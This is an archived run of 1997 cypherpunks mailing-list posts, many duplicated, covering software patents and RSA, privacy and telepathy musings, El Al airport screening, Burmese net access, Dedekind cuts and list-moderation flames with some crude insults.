being the most useful protection) then it was practically guaranteed that 
the Patent Office would be unable (or unwilling???) to refuse to grant 
patents on old ideas.

Further, unlike a lot of big-ticket engineering, programming can be done by 
individuals with a relatively low-cost computer.  Many if not most of the 
software constructs that were later called "patentable" were probably 
actually invented by people who had no interest in patenting them...and the 
few greedy ones who did were given the rewards.  That's not fair, 
particularly when they may have been invented during a time in which 
software patents were known to be impossible to get.

Also, since unlike other areas of engineering current programmers didn't 
have to pay for previous software constructs ("do-loops were free") there 
should have been distinct limits on the royalties that anybody could ask for 
in software-patent cases.  

Another problem is that much of the costs of most software companies are 
personnel and advertising.  Any realistic royalty system (even assuming all 
other problems were solved) would have to determine what portion of a 
program's functionality was attributable to a patented concept, which I 
assert is essentially impossible.  Do you charge for execution time? (the 
guy who patents the "wait loop" would make a fortune!)  Length of code?   
Number of times called? 

Royalties must, presumably, be limited to a reasonable and practical level, 
and also (obviously) they may also have to be divided among a number of 
potential claimants, in the same way that (for instance) a car manufacturer 
may have to pay royalties on potentially hundreds or even thousands of 
patents to sell a single car.  If no mechanism currently exists to arrive at 
a fair division of such royalties (about 20 years after the patents for the 
various encryption systems were filed) , I think it may be presumed that 
nobody seriously believes that this is possible.

In short, I think it's absolutely foolish to believe that any sort of 
workable system could ever have been arranged to patent software, even if 
all of the issues above had been addressed fairly.  And the reason I asked 
for an "innocent" explanation is to give people the benefit of the doubt so 
that they could show that the system was working.  It isn't, and you know it. 

It's not surprising that no REAL LAWYERS (tm) around here were willing to 
tackle this issue.  They know it's all a fraud.


>>It also ignores the strong likelihood that the reason for the Patent-Office 
>>policy change (done, apparently, without benefit of a corresponding law 
>>change) was because with public-key/RSA there was finally an example of 
>>software the government wished to deny to the average citizen, 
>>and the only mechanism (short of secrecy, which was broken) to do so 
>>was to patent it.  
>
>D,H,R,S, and A didn't _have_ to apply for patents....
>With hardware security products, the NSA has the power to seize and
>classify systems which are applying for patents, for no particularly
>good reason, and they used to do it often.

Actually, I don't think they REALLY "have the power."   What I mean by this 
is simple:  Since American patents are supposedly grantable for applications 
filed  up to one year prior, there is no guarantee that they will even see a 
patent application to grant until  long after the cat is out of the bag.  

  For instance, there was
>an analog scrambler for CB radios that got its patent applications
>seized in about 1980.  And most software patent applications for
>crypto have involved machinations to avoid getting trapped by this,
>like publishing in foreign journals before submitting applications.


Why should they have to publish in FOREIGN journals?    Like I said before, 
since up to one year can elapse after disclosure (and, apparently, even 
longer in the case of the DHM patent, submission to ANY journal, not merely 
domestic ones, should do to prevent NSA's tricks.  (and today, publishing on 
the Internet should achieve exactly the same results.)  Richard Schoeppel 
commented this way:


"Roger Schlafly has made a reasonable case that the DHM patent is
invalid because the invention was "published" more than a year before
the patent was filed.  (He dug up a copy of a preprint they were
circulating with a stamped received-date of ?May 1976?.)"


What are we to conclude?  These sleazebags can't even follow their own 
rules!  Look, I asked for an INNOCENT explanation of software patents.  
INNOCENT explanations don't include the obvious kind of scams pulled like this.






Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 21 Jan 1997 06:57:39 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701211457.GAA06836@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:33 PM 1/16/97 -0800, Bill Stewart wrote:
>At 08:13 PM 1/14/97 -0800, jim bell wrote:
>>US.  Alone, that would have denied non-US patents to RSA.   However, such an 
>>explanation grandly ignores the fact that computer software (let alone 
>>mathematics in general) was not considered patentable ANYWHERE (?) before 
>>public-key systems made their appearance in 1976.
>...
>>I'm still waiting for an "innocent" explanation for the US patent office 
>>beginning to issue software patents.  I don't think there is one.
>
>The first software patent was Dennis Ritchie's patent on setUID.

So what year was that?

>Computer security is one area that, if you're going to allow patents
>on software at all (which I think are a bad idea, but that's politics)

No, it's not JUST politics.  It's also (im)practicality.  Even if, arguably, 
software OUGHT TO be patentable, going from a time in which software wasn't 
patentable to software patentability is essentially impossible.  First, it 
requires (or, at least, ought to require, if they were to do it 
right...which they didn't) a searchable compilation of all previously 
existing software ideas and constructs to ensure that obvious or 
previously-existing ideas were not given patents.  Since prior to about 1976 
there was no motivation on anyone's part to collect such a database (secrecy 
being the most useful protection) then it was practically guaranteed that 
the Patent Office would be unable (or unwilling???) to refuse to grant 
patents on old ideas.

Further, unlike a lot of big-ticket engineering, programming can be done by 
individuals with a relatively low-cost computer.  Many if not most of the 
software constructs that were later called "patentable" were probably 
actually invented by people who had no interest in patenting them...and the 
few greedy ones who did were given the rewards.  That's not fair, 
particularly when they may have been invented during a time in which 
software patents were known to be impossible to get.

Also, since unlike other areas of engineering current programmers didn't 
have to pay for previous software constructs ("do-loops were free") there 
should have been distinct limits on the royalties that anybody could ask for 
in software-patent cases.  

Another problem is that much of the costs of most software companies are 
personnel and advertising.  Any realistic royalty system (even assuming all 
other problems were solved) would have to determine what portion of a 
program's functionality was attributable to a patented concept, which I 
assert is essentially impossible.  Do you charge for execution time? (the 
guy who patents the "wait loop" would make a fortune!)  Length of code?   
Number of times called? 

Royalties must, presumably, be limited to a reasonable and practical level, 
and also (obviously) they may also have to be divided among a number of 
potential claimants, in the same way that (for instance) a car manufacturer 
may have to pay royalties on potentially hundreds or even thousands of 
patents to sell a single car.  If no mechanism currently exists to arrive at 
a fair division of such royalties (about 20 years after the patents for the 
various encryption systems were filed) , I think it may be presumed that 
nobody seriously believes that this is possible.

In short, I think it's absolutely foolish to believe that any sort of 
workable system could ever have been arranged to patent software, even if 
all of the issues above had been addressed fairly.  And the reason I asked 
for an "innocent" explanation is to give people the benefit of the doubt so 
that they could show that the system was working.  It isn't, and you know it. 

It's not surprising that no REAL LAWYERS (tm) around here were willing to 
tackle this issue.  They know it's all a fraud.


>>It also ignores the strong likelihood that the reason for the Patent-Office 
>>policy change (done, apparently, without benefit of a corresponding law 
>>change) was because with public-key/RSA there was finally an example of 
>>software the government wished to deny to the average citizen, 
>>and the only mechanism (short of secrecy, which was broken) to do so 
>>was to patent it.  
>
>D,H,R,S, and A didn't _have_ to apply for patents....
>With hardware security products, the NSA has the power to seize and
>classify systems which are applying for patents, for no particularly
>good reason, and they used to do it often.

Actually, I don't think they REALLY "have the power."   What I mean by this 
is simple:  Since American patents are supposedly grantable for applications 
filed  up to one year prior, there is no guarantee that they will even see a 
patent application to grant until  long after the cat is out of the bag.  

  For instance, there was
>an analog scrambler for CB radios that got its patent applications
>seized in about 1980.  And most software patent applications for
>crypto have involved machinations to avoid getting trapped by this,
>like publishing in foreign journals before submitting applications.


Why should they have to publish in FOREIGN journals?    Like I said before, 
since up to one year can elapse after disclosure (and, apparently, even 
longer in the case of the DHM patent, submission to ANY journal, not merely 
domestic ones, should do to prevent NSA's tricks.  (and today, publishing on 
the Internet should achieve exactly the same results.)  Richard Schoeppel 
commented this way:


"Roger Schlafly has made a reasonable case that the DHM patent is
invalid because the invention was "published" more than a year before
the patent was filed.  (He dug up a copy of a preprint they were
circulating with a stamped received-date of ?May 1976?.)"


What are we to conclude?  These sleazebags can't even follow their own 
rules!  Look, I asked for an INNOCENT explanation of software patents.  
INNOCENT explanations don't include the obvious kind of scams pulled like this.






Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 22:20:32 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210535.AAA05654@oak.liii.com>
Message-ID: <32E4601A.B5E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> Also Sprach Toto:[snip]
> And fiendishly, it is the very chaos and anarchy and random chance
> espoused by proponents of the cypherpunk philosophy that allows these
> people to gain this power, unchecked![snip]
> We have to face the fact that humans are predators, and as long as
> we are, the cycle of this behavior will continue.

Jane is showing signs of independent thought.  Tsk tsk.

> The human race has not evolved to such a point where privacy is not an
> essential thing. If tomorrow everyone turned instantly telepathic and
> we all were capable of knowing each other's thoughts, you'd best believe
> the suicide rate would be beyond belief. Buisnesses would instantly
> fail, countries would instantly be absorbed by other countries, many
> relationships based on love and trust would be destroyed.
> And during that time, the deadliest person alive - the toughest and
> the meanest, and the most effective in the face of all the chaos, would
> not be the person who was capable of preserving their privacy. Rather,
> it would be the one who was capable of surviving in it's complete absence.

Telepathy would do no good.  You can (if you're hooked into someone's
"consciousness") see the general outlines of thought, feel some of the
emotions, etc., but the construction of one's abstract thoughts can't
be interpreted by an observing person or computer.  There are too many
variables and random influences.  Perhaps someday the quantum machines
will make headway there.  In the meantime, we can imitate, but we can't
speak the full language, a la Star Trek IV.

BTW, the suicide rate would not go ballistic, since the suicide rate
as reported today is largely ficticious anyway.  People would switch
to survival mode *very* quickly, which would have the beneficial effect
of taking their minds off of their pre-survival-crisis problems.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 06:55:56 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701211455.GAA06825@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> Also Sprach Toto:[snip]
> And fiendishly, it is the very chaos and anarchy and random chance
> espoused by proponents of the cypherpunk philosophy that allows these
> people to gain this power, unchecked![snip]
> We have to face the fact that humans are predators, and as long as
> we are, the cycle of this behavior will continue.

Jane is showing signs of independent thought.  Tsk tsk.

> The human race has not evolved to such a point where privacy is not an
> essential thing. If tomorrow everyone turned instantly telepathic and
> we all were capable of knowing each other's thoughts, you'd best believe
> the suicide rate would be beyond belief. Buisnesses would instantly
> fail, countries would instantly be absorbed by other countries, many
> relationships based on love and trust would be destroyed.
> And during that time, the deadliest person alive - the toughest and
> the meanest, and the most effective in the face of all the chaos, would
> not be the person who was capable of preserving their privacy. Rather,
> it would be the one who was capable of surviving in it's complete absence.

Telepathy would do no good.  You can (if you're hooked into someone's
"consciousness") see the general outlines of thought, feel some of the
emotions, etc., but the construction of one's abstract thoughts can't
be interpreted by an observing person or computer.  There are too many
variables and random influences.  Perhaps someday the quantum machines
will make headway there.  In the meantime, we can imitate, but we can't
speak the full language, a la Star Trek IV.

BTW, the suicide rate would not go ballistic, since the suicide rate
as reported today is largely ficticious anyway.  People would switch
to survival mode *very* quickly, which would have the beneficial effect
of taking their minds off of their pre-survival-crisis problems.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam philipp <adam@rosa.com>
Date: Mon, 20 Jan 1997 22:35:18 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701210416.UAA28041@toad.com>
Message-ID: <3.0.1.32.19970120223411.00713a0c@mail.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:23 PM 1/20/97 -0500, you wrote:
>	Recall that all security is economics.  The airlines want the
>appearance of security without having to pay for it.
>
>	The '3 questions' ("Pack your luggage?  let it out of your
>sight?  Taking any gifts?") originated with El Al, where they are the
>introduction to a very expensive (and privacy invading) set of
>screening questions.  The El Al people are trained to watch you as
>they ask the questions, and respond to signs of lying or rehersal.
>The Americans read the questions off the screen, and pay no attention
>to your answers.

True, however the number of questions asked by El Al decreases amazingly
when you answer in Hebrew, however that did not stop me being addressed by
five security personnel after a trip where had been doing a photo
documentary and was still wearing a photo vest full of black metal
cannisters (lenses). Of course when the security head finally approached me
I used Hebrew and that was then end of the episode. Unfortunately speaking
English is not a very good determination of airline safety.

	Adam Esq.



-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam philipp <adam@rosa.com>
Date: Tue, 21 Jan 1997 06:55:49 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Airport security [no such thing]
Message-ID: <199701211455.GAA06810@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:23 PM 1/20/97 -0500, you wrote:
>	Recall that all security is economics.  The airlines want the
>appearance of security without having to pay for it.
>
>	The '3 questions' ("Pack your luggage?  let it out of your
>sight?  Taking any gifts?") originated with El Al, where they are the
>introduction to a very expensive (and privacy invading) set of
>screening questions.  The El Al people are trained to watch you as
>they ask the questions, and respond to signs of lying or rehersal.
>The Americans read the questions off the screen, and pay no attention
>to your answers.

True, however the number of questions asked by El Al decreases amazingly
when you answer in Hebrew, however that did not stop me being addressed by
five security personnel after a trip where had been doing a photo
documentary and was still wearing a photo vest full of black metal
cannisters (lenses). Of course when the security head finally approached me
I used Hebrew and that was then end of the episode. Unfortunately speaking
English is not a very good determination of airline safety.

	Adam Esq.



-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 19:40:10 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: UNS_top
In-Reply-To: <199701210057.QAA24931@toad.com>
Message-ID: <Pine.GSO.3.95.970120223659.14752A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


You'll get the full article soon enough, I expect. The Reuters story isn't
quite right, though. Burma has no Net-connection. I stood outside the
building that will house it last month (they wouldn't let me in) after
hiking five miles through fields to get around police barricades. It
should go live this year.

For China and Singapore Net-censorship, check out my web site at
http://www.eff.org/~declan/global/

-Declan


On Mon, 20 Jan 1997, Toto wrote:

> John Young wrote:
> >  Governments in China, Burma and
> >  Singapore have already tried to discipline this on-line activity with
> >  minimal success.
> 
>   Do you have any pointers to information in regard to this, or are you
> just being a goddamn tease?
> 
> Toto
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 20:25:35 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: UNS_top
Message-ID: <199701210425.UAA28206@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You'll get the full article soon enough, I expect. The Reuters story isn't
quite right, though. Burma has no Net-connection. I stood outside the
building that will house it last month (they wouldn't let me in) after
hiking five miles through fields to get around police barricades. It
should go live this year.

For China and Singapore Net-censorship, check out my web site at
http://www.eff.org/~declan/global/

-Declan


On Mon, 20 Jan 1997, Toto wrote:

> John Young wrote:
> >  Governments in China, Burma and
> >  Singapore have already tried to discipline this on-line activity with
> >  minimal success.
> 
>   Do you have any pointers to information in regard to this, or are you
> just being a goddamn tease?
> 
> Toto
> 
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Mon, 20 Jan 1997 02:14:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200456.UAA00404@toad.com>
Message-ID: <199701200959.WAA24235@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997 22:34:05 -0600 (CST), Jim Choate wrote:

   Forwarded message:

   > Yes, the Reals can be constructed from the Rationals.  No, the
   > Reals are not a subset of the Rationals.

   An arbitrary Real can be constructed from the Rationals. If we accept the
   proposition, as posed apparently by you and others, of uncountable Reals then
   your 'assumption' fails, otherwise the 'uncountable' members would be
   countable.

There are no "uncountable" numbers -- uncountability is a property of
the set, not an individual member of the set.  The set of reals cannot
be placed in one-to-one correspondence with the integers (strictly,
positive integers, but it amounts to the same thing).

   > Dedekind Cuts are a simple abstraction, often used to construct
   > the Reals from the Rationals in undergraduate calculus courses.
   > Conceptually, one makes a single "cut" in the set of Rationals,
   > dividing it into two parts, all of the members of one part being
   > greater than all of the members of the other.  The number of ways
   > of doing this correspond to the Reals.

   The number of cuts are 1-to-1 with the Reals, they are not the Reals.
   There is no way I can make a cut which is 3.1527, only 1-to-1 with the
   number(s). Important distinction.

Cut the rational numbers into two sets, A containing all the negative
rationals and all those that have squares less than 2, and B
containing all the positive rationals that have squares greater than
2.  There you have a cut which is 1.41421... (i.e., sqrt(2)).  So you
can define irrational numbers from the rationals (an irrational number
is a cut such that the first set (A) has no largest member and the
second set (B) has no smallest member).

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
Sometimes a feeling is all we humans have to go on.
		-- Kirk, "A Taste of Armageddon", stardate 3193.9




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Mon, 20 Jan 1997 08:13:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201613.IAA12458@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997 22:34:05 -0600 (CST), Jim Choate wrote:

   Forwarded message:

   > Yes, the Reals can be constructed from the Rationals.  No, the
   > Reals are not a subset of the Rationals.

   An arbitrary Real can be constructed from the Rationals. If we accept the
   proposition, as posed apparently by you and others, of uncountable Reals then
   your 'assumption' fails, otherwise the 'uncountable' members would be
   countable.

There are no "uncountable" numbers -- uncountability is a property of
the set, not an individual member of the set.  The set of reals cannot
be placed in one-to-one correspondence with the integers (strictly,
positive integers, but it amounts to the same thing).

   > Dedekind Cuts are a simple abstraction, often used to construct
   > the Reals from the Rationals in undergraduate calculus courses.
   > Conceptually, one makes a single "cut" in the set of Rationals,
   > dividing it into two parts, all of the members of one part being
   > greater than all of the members of the other.  The number of ways
   > of doing this correspond to the Reals.

   The number of cuts are 1-to-1 with the Reals, they are not the Reals.
   There is no way I can make a cut which is 3.1527, only 1-to-1 with the
   number(s). Important distinction.

Cut the rational numbers into two sets, A containing all the negative
rationals and all those that have squares less than 2, and B
containing all the positive rationals that have squares greater than
2.  There you have a cut which is 1.41421... (i.e., sqrt(2)).  So you
can define irrational numbers from the rationals (an irrational number
is a cut such that the first set (A) has no largest member and the
second set (B) has no smallest member).

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
Sometimes a feeling is all we humans have to go on.
		-- Kirk, "A Taste of Armageddon", stardate 3193.9





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Mon, 20 Jan 1997 23:08:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Arkansas Phone Scramblers, etc.
Message-ID: <199701210707.XAA04133@idiom.com>
MIME-Version: 1.0
Content-Type: text



I just had an interesting exchange with the latest person to take up
residence in my bozo filter.

I get this message from some clown I've never heard of, sent from AOL,
saying that he wants one of these Radio Shack scrambler frobs, and hinting
that he'd be willing to pay lots for it.

I sent him back a note pointing out, among other things, that I don't know
him, he doesn't know me, and that we're talking about buying and selling
a frob that at least one set of JBT's doesn't think he should have. 

I concluded by telling him that I wouldn't sell him one if I had one, 
that I wouldn't tell him whether I had one, and that if he wants to have
a private conversation with someone, he should just get a copy of
PGP phone, like everyone else.

He sent me a huffy note, saying I'd better learn some diplomacy.

So, what do you think guys?  Did I just piss off some federal prosecutor
who was hoping to body-grab me to a clueless jusrisdiction like Arkansas
to try me for crypto-terrorism, or did I piss off another fucking AOL'er?

Amused and Torqued at the same time,

-jcr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Tue, 21 Jan 1997 06:55:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Arkansas Phone Scramblers, etc.
Message-ID: <199701211455.GAA06791@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I just had an interesting exchange with the latest person to take up
residence in my bozo filter.

I get this message from some clown I've never heard of, sent from AOL,
saying that he wants one of these Radio Shack scrambler frobs, and hinting
that he'd be willing to pay lots for it.

I sent him back a note pointing out, among other things, that I don't know
him, he doesn't know me, and that we're talking about buying and selling
a frob that at least one set of JBT's doesn't think he should have. 

I concluded by telling him that I wouldn't sell him one if I had one, 
that I wouldn't tell him whether I had one, and that if he wants to have
a private conversation with someone, he should just get a copy of
PGP phone, like everyone else.

He sent me a huffy note, saying I'd better learn some diplomacy.

So, what do you think guys?  Did I just piss off some federal prosecutor
who was hoping to body-grab me to a clueless jusrisdiction like Arkansas
to try me for crypto-terrorism, or did I piss off another fucking AOL'er?

Amused and Torqued at the same time,

-jcr






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 20 Jan 1997 21:11:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fascist cocksuckers: 0, Freedom of speech: 1
In-Reply-To: <199701210057.QAA24931@toad.com>
Message-ID: <V37u1D89w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> John Young wrote:
> >  Governments in China, Burma and
> >  Singapore have already tried to discipline this on-line activity with
> >  minimal success.
>
>   Do you have any pointers to information in regard to this, or are you
> just being a goddamn tease?

For example, the fascist cocksuckers Sandfart and Geekmore have been
totally impotent in their failed attempts to suppress free speech.

Gilmore's as inept as the governments of China, Burma and Singapore combined.

        FUCK CENSORSHIP.  FUCK EFF (EFFEMINATE FASCISTS FOUNDATION).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 20 Jan 1997 22:29:11 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <32E45AA6.330A@gte.net>
Message-ID: <199701210620.AAA00567@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


[Cc: alex@agate.net]

Dale Thorn wrote:
> 
> Many credible and respected authors and commentators have made references
> to the masses in one form or another as "stupid, lazy, ignorant,
> selfish, etc.", or even "almost useless".
> 

In the classical example, you should say "LYING, FUCKING, THIEVING, STUPID,"
and so on. The art of insults has developed somewhat.

Alexplore is one of the best masters after Dr. Vulis (some would say 
even better than Dr. Vulis, but that depends on taste).

if you do not get it, it is because you need to know the context...

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 21 Jan 1997 06:55:28 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701211455.GAA06743@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Cc: alex@agate.net]

Dale Thorn wrote:
> 
> Many credible and respected authors and commentators have made references
> to the masses in one form or another as "stupid, lazy, ignorant,
> selfish, etc.", or even "almost useless".
> 

In the classical example, you should say "LYING, FUCKING, THIEVING, STUPID,"
and so on. The art of insults has developed somewhat.

Alexplore is one of the best masters after Dr. Vulis (some would say 
even better than Dr. Vulis, but that depends on taste).

if you do not get it, it is because you need to know the context...

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 20 Jan 1997 22:30:51 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210535.AAA05654@oak.liii.com>
Message-ID: <199701210627.AAA00614@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jane Jefferson wrote:
> 
> The heart and soul of the problem is that "sin", "freedom", "good", 
> and "evil" are abstract concepts which fluctuate from individual to 
> individual.

An excellent point, Jane. Worth remembering.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 21 Jan 1997 06:55:27 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701211455.GAA06742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> 
> The heart and soul of the problem is that "sin", "freedom", "good", 
> and "evil" are abstract concepts which fluctuate from individual to 
> individual.

An excellent point, Jane. Worth remembering.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jane Jefferson <gotagun@liii.com>
Date: Mon, 20 Jan 1997 21:36:02 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <32E4477E.3F8B@sk.sympatico.ca>
Message-ID: <199701210535.AAA05654@oak.liii.com>
MIME-Version: 1.0
Content-Type: text/plain


Also Sprach Toto:
> 
>   If what you say is true, then Dr. DV K's efforts are quite possibly 
> the most important issue being addressed in this conference, because
> behind free speech, lies the most important issue of all--when does
> it start, and when does it stop.

Exactly. 
 
>   The military-industrial complex proclaims this necessary for the
> purposes of state-security, and denies that it is used in order to keep 
> their 'sins' from being exposed. (If you believe this, then please 
> contact me by private email regarding an ocean-front property I have
> available in Tucson, AZ.  If you act quickly, I will throw in a set
> of the Amazing Ginzu Knives as an added bonus.)

The heart and soul of the problem is that "sin", "freedom", "good", 
and "evil" are abstract concepts which fluctuate from individual to 
individual. If Dr. Vulis is indeed an adjunct professor at Fordham 
University, I think that perhaps he has been hanging out and drinking
too many beers with my former philosophy professor Quentin Lauer. ;-7 

>    The crypto-cognizant citizen proclaims cryptographical ability as
> a means of empowering their rights of free speech.  The more intelligent
> of them recognize as misinformation the government's feeble claims that
> they cannot successfully investigate someone moving tons of illegal
> drugs into the country unless they have the capacity to eavesdrop on
> the private correspondences of 'all' of their citizens. (Which is the
> equivalent, in my mind, of claiming that AIDS cannot be held in check
> without knowing the details of all of the citizens sex-lives.)
 
Governments, however, are made up of the very same people who claim
to require these rights to privacy. Those people create, codify and 
enforce the laws. The problem is that the people who find themselves in 
this position of power are not always the most moral or concerned with 
the best interest of the majority. 

And fiendishly, it is the very chaos and anarchy and random chance 
espoused by proponents of the cypherpunk philosophy that allows these
people to gain this power, unchecked! 
 
Thus, the real problem ends up being not "how to control the government
so that the government doesn't control us", but "how to deal with the 
government when it goes into control-freak mode". That it will go into
such a mode is a given -- based on human nature and history. This is
a fundamental cycle of evolution and human behavior. We have to face
the fact that humans are predators, and as long as we are, the 
cycle of this behavior will continue. 

The human race has not evolved to such a point where privacy is not an
essential thing. If tomorrow everyone turned instantly telepathic and 
we all were capable of knowing each other's thoughts, you'd best believe
the suicide rate would be beyond belief. Buisnesses would instantly 
fail, countries would instantly be absorbed by other countries, many 
relationships based on love and trust would be destroyed. 

And during that time, the deadliest person alive - the toughest and 
the meanest, and the most effective in the face of all the chaos, would
not be the person who was capable of preserving their privacy. Rather,
it would be the one who was capable of surviving in it's complete 
absence. 

This is not to denigrate the efforts of the cypherpunks, but merely to
point out an area that they may not have thought of as a method to
battle the trend towards fascism. 

-- 
Marcus: "They'll try to kill you."         | "You won't see me in 
Xena: "Oh, I still have a few tricks       | front, but you can't 
       left up my sleeve...I don't         | leave me behind!" 
       have any sleeves!" -- Xena bloopers |                 -- YES 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jane Jefferson <gotagun@liii.com>
Date: Mon, 20 Jan 1997 22:10:53 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701210610.WAA29970@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Also Sprach Toto:
> 
>   If what you say is true, then Dr. DV K's efforts are quite possibly 
> the most important issue being addressed in this conference, because
> behind free speech, lies the most important issue of all--when does
> it start, and when does it stop.

Exactly. 
 
>   The military-industrial complex proclaims this necessary for the
> purposes of state-security, and denies that it is used in order to keep 
> their 'sins' from being exposed. (If you believe this, then please 
> contact me by private email regarding an ocean-front property I have
> available in Tucson, AZ.  If you act quickly, I will throw in a set
> of the Amazing Ginzu Knives as an added bonus.)

The heart and soul of the problem is that "sin", "freedom", "good", 
